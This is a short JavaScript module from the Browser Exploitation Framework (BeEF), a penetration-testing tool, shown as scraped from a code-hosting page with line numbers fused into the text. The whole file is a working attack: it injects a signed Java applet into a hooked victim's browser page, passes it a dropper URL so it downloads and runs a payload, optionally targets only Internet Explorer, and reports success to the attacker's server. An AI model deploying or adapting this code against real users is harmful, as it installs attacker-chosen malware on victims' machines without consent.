Path: blob/master/modules/exploits/local_host/signed_applet_dropper/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/applet/SignedApplet.jar';9var applet_name = '<%= @applet_name %>';10var dropper_url = '<%= @dropper_url %>';11var ie_only = '<%= @ie_only %>';1213function attach(){14beef.dom.attachApplet('signed_applet', applet_name, 'SignedApplet.class',15null, applet_archive, [{'url':dropper_url}]);1617beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet added to the DOM.');18}1920if(ie_only == "on"){21if(beef.browser.isIE()){22attach();23}24}else{25attach();26}27});282930